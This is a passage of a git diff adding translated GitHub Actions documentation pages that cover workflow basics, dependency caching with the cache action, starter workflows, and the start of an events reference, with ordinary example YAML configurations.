+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107087'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.section-using-environments-for-jobs %}
diff --git a/translations/de-DE/content/actions/using-jobs/using-jobs-in-a-workflow.md b/translations/de-DE/content/actions/using-jobs/using-jobs-in-a-workflow.md
new file mode 100644
index 0000000000..01c852b7e6
--- /dev/null
+++ b/translations/de-DE/content/actions/using-jobs/using-jobs-in-a-workflow.md
@@ -0,0 +1,34 @@
+---
+title: Verwenden von Aufträgen in einem Workflow
+shortTitle: Using jobs in a workflow
+intro: 'Verwende Workflows, um mehrere Aufträge auszuführen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+ms.openlocfilehash: 9104cb7821b300e69fd2482169549d96c6455f6d
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107080'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow %}
+
+## Festlegen einer ID für einen Auftrag
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-id %}
+
+## Festlegen eines Namens für einen Auftrag
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-name %}
+
+## Definieren von erforderlichen Aufträgen
+
+{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-needs %}
diff --git a/translations/de-DE/content/actions/using-workflows/about-workflows.md b/translations/de-DE/content/actions/using-workflows/about-workflows.md
new file mode 100644
index 0000000000..dd1f91943e
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/about-workflows.md
@@ -0,0 +1,205 @@
+---
+title: About workflows
+shortTitle: About workflows
+intro: 'Get a high-level overview of {% data variables.product.prodname_actions %} workflows, including triggers, syntax, and advanced features.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+redirect_from:
+  - /actions/learn-github-actions/managing-complex-workflows
+  - /actions/using-workflows/advanced-workflow-features
+topics:
+  - Workflows
+miniTocMaxHeadingLevel: 3
+---
+
+## About workflows
+
+{% data reusables.actions.about-workflows-long %}
+
+## Workflow basics
+
+A workflow must contain the following basic components:
+
+1. One or more _events_ that will trigger the workflow.
+1. One or more _jobs_, each of which will execute on a _runner_ machine and run a series of one or more _steps_.
+1. Each step can either run a script that you define or run an action, which is a reusable extension that can simplify your workflow.
+
+For more information on these basic components, see "[Understanding GitHub Actions](/actions/learn-github-actions/understanding-github-actions#the-components-of-github-actions)."
+
+![Workflow overview](/assets/images/help/images/overview-actions-simple.png)
+
+## Triggering a workflow
+
+{% data reusables.actions.about-triggers %}
+
+For more information, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow)", and for a full list of events, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)."
+
+## Workflow syntax
+
+Workflow are defined using YAML. For the full reference of the YAML syntax for authoring workflows, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#about-yaml-syntax-for-workflows)."
+
+
+{% data reusables.actions.workflow-basic-example-and-explanation %}
+
+For more on managing workflow runs, such as re-running, cancelling, or deleting a workflow run, see "[Managing workflow runs](/actions/managing-workflow-runs)."
+
+## Using starter workflows
+
+{% data reusables.actions.workflow-template-overview %}
+
+For more information on using and creating starter workflows, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows)" and "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)."
+
+## Advanced workflow features
+
+This section briefly describes some of the advanced features of {% data variables.product.prodname_actions %} that help you create more complex workflows.
+
+### Storing secrets
+
+If your workflows use sensitive data, such as passwords or certificates, you can save these in {% data variables.product.prodname_dotcom %} as _secrets_ and then use them in your workflows as environment variables. This means that you will be able to create and share workflows without having to embed sensitive values directly in the workflow's YAML source.
+
+This example job demonstrates how to reference an existing secret as an environment variable, and send it as a parameter to an example command.
+
+{% raw %}
+```yaml
+jobs:
+  example-job:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Retrieve secret
+        env:
+          super_secret: ${{ secrets.SUPERSECRET }}
+        run: |
+          example-command "$super_secret"
+```
+{% endraw %}
+
+For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+### Creating dependent jobs
+
+By default, the jobs in your workflow all run in parallel at the same time. If you have a job that must only run after another job has completed, you can use the `needs` keyword to create this dependency. If one of the jobs fails, all dependent jobs are skipped; however, if you need the jobs to continue, you can define this using the `if` conditional statement.
+
+In this example, the `setup`, `build`, and `test` jobs run in series, with `build` and `test` being dependent on the successful completion of the job that precedes them:
+
+```yaml
+jobs:
+  setup:
+    runs-on: ubuntu-latest
+    steps:
+      - run: ./setup_server.sh
+  build:
+    needs: setup
+    runs-on: ubuntu-latest
+    steps:
+      - run: ./build_server.sh
+  test:
+    needs: build
+    runs-on: ubuntu-latest
+    steps:
+      - run: ./test_server.sh
+```
+
+For more information, see "[Defining prerequisite jobs](/actions/using-jobs/using-jobs-in-a-workflow#defining-prerequisite-jobs)."
+
+### Using a matrix
+
+{% data reusables.actions.jobs.about-matrix-strategy %} The matrix is created using the `strategy` keyword, which receives the build options as an array. For example, this matrix will run the job multiple times, using different versions of Node.js:
+
+```yaml
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        node: [12, 14, 16]
+    steps:
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.node }}{% endraw %}
+```
+
+For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
+
+{% ifversion actions-caching %}
+### Caching dependencies
+
+If your jobs regularly reuse dependencies, you can consider caching these files to help improve performance. Once the cache is created, it is available to all workflows in the same repository.
+
+This example demonstrates how to cache the ` ~/.npm` directory:
+
+```yaml
+jobs:
+  example-job:
+    steps:
+      - name: Cache node modules
+        uses: {% data reusables.actions.action-cache %}
+        env:
+          cache-name: cache-node-modules
+        with:
+          path: ~/.npm
+          key: {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-{% endraw %}
+```
+
+For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)."
+{% endif %}
+
+### Using databases and service containers
+
+If your job requires a database or cache service, you can use the [`services`](/actions/using-jobs/running-jobs-in-a-container) keyword to create an ephemeral container to host the service; the resulting container is then available to all steps in that job and is removed when the job has completed. This example demonstrates how a job can use `services` to create a `postgres` container, and then use `node` to connect to the service.
+
+```yaml
+jobs:
+  container-job:
+    runs-on: ubuntu-latest
+    container: node:10.18-jessie
+    services:
+      postgres:
+        image: postgres
+    steps:
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Install dependencies
+        run: npm ci
+      - name: Connect to PostgreSQL
+        run: node client.js
+        env:
+          POSTGRES_HOST: postgres
+          POSTGRES_PORT: 5432
+```
+
+For more information, see "[Using containerized services](/actions/using-containerized-services)."
+
+### Using labels to route workflows
+
+If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %}
+
+This example shows how a workflow can use labels to specify the required runner:
+
+```yaml
+jobs:
+  example-job:
+    runs-on: [self-hosted, linux, x64, gpu]
+```
+
+A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. {% ifversion fpt or ghec %}If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner.{% endif %}
+
+To learn more about self-hosted runner labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
+
+{% ifversion fpt or ghec %}
+To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see "[Supported runners and hardware resources](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)."
+{% endif %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+### Reusing workflows
+{% data reusables.actions.reusable-workflows %}
+{% endif %}
+
+### Using environments
+
+You can configure environments with protection rules and secrets to control the execution of jobs in a workflow. Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
diff --git a/translations/de-DE/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md b/translations/de-DE/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md
new file mode 100644
index 0000000000..a2a833a1a3
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md
@@ -0,0 +1,315 @@
+---
+title: Caching dependencies to speed up workflows
+shortTitle: Cache dependencies
+intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
+  - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
+  - /actions/configuring-and-managing-workflows/caching-dependencies-to-speed-up-workflows
+  - /actions/guides/caching-dependencies-to-speed-up-workflows
+  - /actions/advanced-guides/caching-dependencies-to-speed-up-workflows
+versions:
+  feature: actions-caching
+type: tutorial
+topics:
+  - Workflows
+miniTocMaxHeadingLevel: 3
+---
+
+## About caching workflow dependencies
+
+Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies.
+
+{% ifversion fpt or ghec %} Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean runner image and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. {% endif %}To help speed up the time it takes to recreate files like dependencies, {% data variables.product.prodname_dotcom %} can cache files you frequently use in workflows.
+
+To cache dependencies for a job, you can use {% data variables.product.prodname_dotcom %}'s [`cache` action](https://github.com/actions/cache). The action creates and restores a cache identified by a unique key. Alternatively, if you are caching the package managers listed below, using their respective setup-* actions requires minimal configuration and will create and restore dependency caches for you.
+
+| Package managers | setup-* action for caching |
+|---|---|
+| npm, Yarn, pnpm | [setup-node](https://github.com/actions/setup-node#caching-global-packages-data) |
+| pip, pipenv, Poetry | [setup-python](https://github.com/actions/setup-python#caching-packages-dependencies) |
+| Gradle, Maven | [setup-java](https://github.com/actions/setup-java#caching-packages-dependencies) |
+| RubyGems | [setup-ruby](https://github.com/ruby/setup-ruby#caching-bundle-install-automatically) |
+| Go `go.sum` | [setup-go](https://github.com/actions/setup-go#caching-dependency-files-and-build-outputs) |
+
+{% warning %}
+
+**Warning**: {% ifversion fpt or ghec %}Be mindful of the following when using caching with {% data variables.product.prodname_actions %}:
+
+* {% endif %}We recommend that you don't store any sensitive information in the cache. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of a cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch.
+{%- ifversion fpt or ghec %}
+* When using self-hosted runners, caches from workflow runs are stored on {% data variables.product.company_short %}-owned cloud storage. A customer-owned storage solution is only available with {% data variables.product.prodname_ghe_server %}.
+{%- endif %}
+
+{% endwarning %}
+
+{% data reusables.actions.comparing-artifacts-caching %}
+
+For more information on workflow run artifacts, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+
+## Restrictions for accessing a cache
+
+Access restrictions provide cache isolation and security by creating a logical boundary between different branches or tags. 
+Workflow runs can restore caches created in either the current branch or the default branch (usually `main`). If a workflow run is triggered for a pull request, it can also restore caches created in the base branch, including base branches of forked repositories. For example, if the branch `feature-b` has the base branch `feature-a`, a workflow run triggered on a pull request would have access to caches created in the default `main` branch, the base `feature-a` branch, and the current `feature-b` branch.
+
+Workflow runs cannot restore caches created for child branches or sibling branches. For example, a cache created for the child `feature-b` branch would not be accessible to a workflow run triggered on the parent `main` branch. Similarly, a cache created for the `feature-a` branch with the base `main` would not be accessible to its sibling `feature-c` branch with the base `main`. Workflow runs also cannot restore caches created for different tag names. For example, a cache created for the tag `release-a` with the base `main` would not be accessible to a workflow run triggered for the tag `release-b` with the base `main`.
+
+When a cache is created by a workflow run triggered on a pull request, the cache is created for the merge ref (`refs/pull/.../merge`). Because of this, the cache will have a limited scope and can only be restored by re-runs of the pull request. It cannot be restored by the base branch or other pull requests targeting that base branch.
+
+Multiple workflow runs in a repository can share caches. A cache created for a branch in a workflow run can be accessed and restored from another workflow run for the same repository and branch.
+
+## Using the `cache` action
+
+The [`cache` action](https://github.com/actions/cache) will attempt to restore a cache based on the `key` you provide. When the action finds a cache that _exactly_ matches the key, the action restores the cached files to the `path` you configure.
+You can optionally provide a list of `restore-keys` to use in case the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can _partially_ match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)."
+
+If there is an exact match to the provided `key`, this is considered a cache hit. If no cache exactly matches the provided `key`, this is considered a cache miss. On a cache miss, the action automatically creates a new cache if the job completes successfully. The new cache will use the `key` you provided and contains the files you specify in `path`. For more information about how this is handled, see "[Cache hits and misses](#cache-hits-and-misses)."
+
+You cannot change the contents of an existing cache. Instead, you can create a new cache with a new key.
+
+
+### Input parameters for the `cache` action
+
+- `key`: **Required** The key created when saving a cache and the key used to search for a cache. It can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail.
+- `path`: **Required** The path(s) on the runner to cache or restore.
+  - You can specify a single path, or you can add multiple paths on separate lines. For example:
+
+    ```
+    - name: Cache Gradle packages
+      uses: {% data reusables.actions.action-cache %}
+      with:
+        path: |
+          ~/.gradle/caches
+          ~/.gradle/wrapper
+    ```
+  - You can specify either directories or single files, and glob patterns are supported.
+  - You can specify absolute paths, or paths relative to the workspace directory.
+- `restore-keys`: **Optional** A string containing alternative restore keys, with each restore key placed on a new line. If no cache hit occurs for `key`, these restore keys are used sequentially in the order provided to find and restore a cache. For example:
+
+  {% raw %}
+  ```yaml
+  restore-keys: |
+    npm-feature-${{ hashFiles('package-lock.json') }}
+    npm-feature-
+    npm-
+  ```
+  {% endraw %}
+
+### Output parameters for the `cache` action
+
+- `cache-hit`: A boolean value to indicate an exact match was found for the key.
+
+### Cache hits and misses
+When `key` exactly matches an existing cache, it's called a _cache hit_, and the action restores the cached files to the `path` directory.
+
+When `key` doesn't match an existing cache, it's called a _cache miss_, and a new cache is automatically created if the job completes successfully.
+
+When a cache miss occurs, the action also searches your specified `restore-keys` for any matches:
+
+1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`.
+   - When there is an exact match, the action restores the files in the cache to the `path` directory.
+   - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory.
+1. The `cache` action completes and the next step in the job runs.
+1. If the job completes successfully, the action automatically creates a new cache with the contents of the `path` directory.
+
+For a more detailed explanation of the cache matching process, see "[Matching a cache key](#matching-a-cache-key)."
+
+### Example using the `cache` action
+
+This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file.
+
+```yaml{:copy}
+name: Caching with npm
+on: push
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Cache node modules
+        id: cache-npm
+        uses: {% data reusables.actions.action-cache %}
+        env:
+          cache-name: cache-node-modules
+        with:
+          # npm cache files are stored in `~/.npm` on Linux/macOS
+          path: ~/.npm
+          key: {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-{% endraw %}
+            {% raw %}${{ runner.os }}-build-{% endraw %}
+            {% raw %}${{ runner.os }}-{% endraw %}
+
+      - if: {% raw %}${{ steps.cache-npm.outputs.cache-hit != 'true' }}{% endraw %}
+        name: List the state of node modules
+        continue-on-error: true
+        run: npm list
+
+      - name: Install dependencies
+        run: npm install
+
+      - name: Build
+        run: npm build
+
+      - name: Test
+        run: npm test
+```
+
+### Using contexts to create cache keys
+
+A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Expressions](/actions/learn-github-actions/expressions)."
+
+Using expressions to create a `key` allows you to automatically create a new cache when dependencies change.
+
+For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file. So, when the dependencies that make up the `package-lock.json` file change, the cache key changes and a new cache is automatically created.
+
+{% raw %}
+```yaml
+npm-${{ hashFiles('package-lock.json') }}
+```
+{% endraw %}
+
+{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`.
+
+```yaml
+npm-d5ea0750
+```
+
+### Using the output of the `cache` action
+
+You can use the output of the `cache` action to do something based on whether a cache hit or miss occurred. When an exact match is found for a cache for the specified `key`, the `cache-hit` output is set to `true`.
+
+In the example workflow above, there is a step that lists the state of the Node modules if a cache miss occurred:
+
+```yaml
+- if: {% raw %}${{ steps.cache-npm.outputs.cache-hit != 'true' }}{% endraw %}
+  name: List the state of node modules
+  continue-on-error: true
+  run: npm list
+```
+
+## Matching a cache key
+
+The `cache` action first searches for cache hits for `key` and the cache _version_ in the branch containing the workflow run. If there is no hit, it searches for `restore-keys` and the _version_. If there are still no hits in the current branch, the `cache` action retries same steps on the default branch. Please note that the scope restrictions apply during the search. For more information, see "[Restrictions for accessing a cache](#restrictions-for-accessing-a-cache)."
+
+Cache version is a way to stamp a cache with metadata of the `path` and the compression tool used while creating the cache. This ensures that the consuming workflow run uniquely matches a cache it can actually decompress and use. For more information, see [Cache Version](https://github.com/actions/cache#cache-version) in the Actions Cache documentation.
+
+`restore-keys` allows you to specify a list of alternate restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches the `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache.
+
+### Example using multiple restore keys
+
+{% raw %}
+```yaml
+restore-keys: |
+  npm-feature-${{ hashFiles('package-lock.json') }}
+  npm-feature-
+  npm-
+```
+{% endraw %}
+
+The runner evaluates the expressions, which resolve to these `restore-keys`:
+
+{% raw %}
+```yaml
+restore-keys: |
+  npm-feature-d5ea0750
+  npm-feature-
+  npm-
+```
+{% endraw %}
+
+The restore key `npm-feature-` matches any key that starts with the string `npm-feature-`. For example, both of the keys `npm-feature-fd3052de` and `npm-feature-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order:
+
+1. **`npm-feature-d5ea0750`** matches a specific hash.
+1. **`npm-feature-`** matches cache keys prefixed with `npm-feature-`.
+1. **`npm-`** matches any keys prefixed with `npm-`.
+
+#### Example of search priority
+
+```yaml
+key:
+  npm-feature-d5ea0750
+restore-keys: |
+  npm-feature-
+  npm-
+```
+
+For example, if a pull request contains a `feature` branch and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order:
+
+1. Key `npm-feature-d5ea0750` in the `feature` branch
+1. Key `npm-feature-` in the `feature` branch
+1. Key `npm-` in the `feature` branch
+1. Key `npm-feature-d5ea0750` in the `main` branch
+1. Key `npm-feature-` in the `main` branch
+1. Key `npm-` in the `main` branch
+
+## Usage limits and eviction policy
+
+{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited{% ifversion actions-cache-policy-apis %}. By default, the limit is 10 GB per repository, but this limit might be different depending on policies set by your enterprise owners or repository administrators.{% else %} to 10 GB.{% endif %} 
+
+{% data reusables.actions.cache-eviction-process %} {% ifversion actions-cache-ui %}The cache eviction process may cause cache thrashing, where caches are created and deleted at a high frequency. To reduce this, you can review the caches for a repository and take corrective steps, such as removing caching from specific workflows. For more information, see "[Managing caches](#managing-caches)."{% endif %}{% ifversion actions-cache-admin-ui %} You can also increase the cache size limit for a repository. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository)."
+
+{% elsif actions-cache-policy-apis %}
+
+For information on changing the policies for the repository cache size limit, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-cache-storage-in-your-enterprise)" and "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository)."
+
+{% endif %}
+
+{% ifversion actions-cache-management %}
+
+## Managing caches
+
+{% ifversion actions-cache-ui %}
+
+To manage caches created from your workflows, you can:
+
+- View a list of all cache entries for a repository.
+- Filter and sort the list of caches using specific metadata such as cache size, creation time, or last accessed time.
+- Delete cache entries from a repository.
+- Monitor aggregate cache usage for repositories and organizations.
+
+There are multiple ways to manage caches for your repositories:
+
+- Using the {% data variables.product.prodname_dotcom %} web interface, as shown below.
+- Using the REST API. For more information, see the "[{% data variables.product.prodname_actions %} Cache](/rest/actions/cache)" REST API documentation.
+- Installing a {% data variables.product.prodname_cli %} extension to manage your caches from the command line. For more information, see the [gh-actions-cache](https://github.com/actions/gh-actions-cache) extension.
+
+{% else %}
+
+You can use the {% data variables.product.product_name %} REST API to manage your caches. {% ifversion actions-cache-list-delete-apis %}You can use the API to list and delete cache entries, and see your cache usage.{% elsif actions-cache-management %}At present, you can use the API to see your cache usage, with more functionality expected in future updates.{% endif %} For more information, see the "[{% data variables.product.prodname_actions %} Cache](/rest/actions/cache)" REST API documentation.
+
+You can also install a {% data variables.product.prodname_cli %} extension to manage your caches from the command line. For more information about the extension, see [the extension documentation](https://github.com/actions/gh-actions-cache#readme). For more information about {% data variables.product.prodname_cli %} extensions, see "[Using GitHub CLI extensions](/github-cli/github-cli/using-github-cli-extensions)."
+
+{% endif %}
+
+{% ifversion actions-cache-ui %}
+
+### Viewing cache entries
+
+You can use the web interface to view a list of cache entries for a repository. In the cache list, you can see how much disk space each cache is using, when the cache was created, and when the cache was last used.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+{% data reusables.repositories.actions-cache-list %}
+1. Review the list of cache entries for the repository.
+
+   * To search for cache entries used for a specific branch, click the **Branch** dropdown menu and select a branch. The cache list will display all of the caches used for the selected branch.
+   * To search for cache entries with a specific cache key, use the syntax `key: key-name` in the **Filter caches** field. The cache list will display caches from all branches where the key was used.
+
+   ![Screenshot of the list of cache entries](/assets/images/help/repository/actions-cache-entry-list.png)
+
+### Deleting cache entries
+
+Users with `write` access to a repository can use the {% data variables.product.prodname_dotcom %} web interface to delete cache entries.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+{% data reusables.repositories.actions-cache-list %}
+1. To the right of the cache entry you want to delete, click {% octicon "trash" aria-label="The trash icon" %}. 
+
+   ![Screenshot of the list of cache entries](/assets/images/help/repository/actions-cache-delete.png)
+
+{% endif %}
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md b/translations/de-DE/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md
new file mode 100644
index 0000000000..ad1fc32d99
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md
@@ -0,0 +1,102 @@
+---
+title: Creating starter workflows for your organization
+shortTitle: Create starter workflows
+intro: Learn how you can create starter workflows to help people in your team add new workflows more easily.
+redirect_from:
+  - /actions/configuring-and-managing-workflows/sharing-workflow-templates-within-your-organization
+  - /actions/learn-github-actions/creating-workflow-templates
+  - /actions/learn-github-actions/creating-starter-workflows-for-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - CI
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview
+
+{% data reusables.actions.workflow-organization-templates %}
+
+{% data reusables.actions.starter-workflow-categories %}
+
+## Creating a starter workflow
+
+Starter workflows can be created by users with write access to the organization's `.github` repository. These can then be used by organization members who have permission to create workflows.
+
+{% ifversion fpt %}
+Starter workflows created by users can only be used to create workflows in public repositories. Organizations using {% data variables.product.prodname_ghe_cloud %} can also use starter workflows to create workflows in private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
+{% endif %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+{% note %}
+
+**Note:** To avoid duplication among starter workflows you can call reusable workflows from within a workflow. This can help make your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+
+{% endnote %}
+{% endif %}
+
+This procedure demonstrates how to create a starter workflow and metadata file. The metadata file describes how the starter workflows will be presented to users when they are creating a new workflow.
+
+1. If it doesn't already exist, create a new public repository named `.github` in your organization.
+2. Create a directory named `workflow-templates`.
+3. Create your new workflow file inside the `workflow-templates` directory.
+
+   If you need to refer to a repository's default branch, you can use the `$default-branch` placeholder. When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch.
+
+   For example, this file named `octo-organization-ci.yml` demonstrates a basic workflow.
+
+   ```yaml
+   name: Octo Organization CI
+
+   on:
+     push:
+       branches: [ $default-branch ]
+     pull_request:
+       branches: [ $default-branch ]
+
+   jobs:
+     build:
+       runs-on: ubuntu-latest
+
+       steps:
+         - uses: {% data reusables.actions.action-checkout %}
+
+         - name: Run a one-line script
+           run: echo Hello from Octo Organization
+   ```
+4. Create a metadata file inside the `workflow-templates` directory. The metadata file must have the same name as the workflow file, but instead of the `.yml` extension, it must be appended with `.properties.json`. For example, this file named `octo-organization-ci.properties.json` contains the metadata for a workflow file named `octo-organization-ci.yml`:
+   ```yaml
+   {
+       "name": "Octo Organization Workflow",
+       "description": "Octo Organization CI starter workflow.",
+       "iconName": "example-icon",
+       "categories": [
+           "Go"
+       ],
+       "filePatterns": [
+           "package.json$",
+           "^Dockerfile",
+           ".*\\.md$"
+       ]
+   }
+   ```
+   * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows.
+   * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows.
+   * `iconName` - **Optional.** Specifies an icon for the workflow that's displayed in the list of workflows. The `iconName` must be the name of an SVG file, without the file name extension, stored in the `workflow-templates` directory. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`.
+   * `categories` - **Optional.** Defines the language category of the workflow. When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. For information on the available language categories, see https://github.com/github/linguist/blob/master/lib/linguist/languages.yml.
+   * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression.
+
+To add another starter workflow, add your files to the same `workflow-templates` directory. For example:
+
+![Workflow files](/assets/images/help/images/workflow-template-files.png)
+
+## Next steps
+
+To continue learning about {% data variables.product.prodname_actions %}, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows)."
diff --git a/translations/de-DE/content/actions/using-workflows/events-that-trigger-workflows.md b/translations/de-DE/content/actions/using-workflows/events-that-trigger-workflows.md
new file mode 100644
index 0000000000..fa4f441d04
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/events-that-trigger-workflows.md
@@ -0,0 +1,1520 @@
+---
+title: Events that trigger workflows
+intro: 'You can configure your workflows to run when specific activity on {% data variables.product.product_name %} happens, at a scheduled time, or when an event outside of {% data variables.product.product_name %} occurs.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /articles/events-that-trigger-workflows
+  - /github/automating-your-workflow-with-github-actions/events-that-trigger-workflows
+  - /actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows
+  - /actions/reference/events-that-trigger-workflows
+  - /actions/learn-github-actions/events-that-trigger-workflows
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Events that trigger workflows
+---
+
+## About events that trigger workflows
+
+Workflow triggers are events that cause a workflow to run. For more information about how to use workflow triggers, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow)."
+
+## Available events
+
+Some events have multiple activity types. For these events, you can specify which activity types will trigger a workflow run. For more information about what each activity type means, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)." Note that not all webhook events trigger workflows.
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae  %}
+### `branch_protection_rule`
+
+| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
+| --------------------- | -------------- | ------------ | -------------|
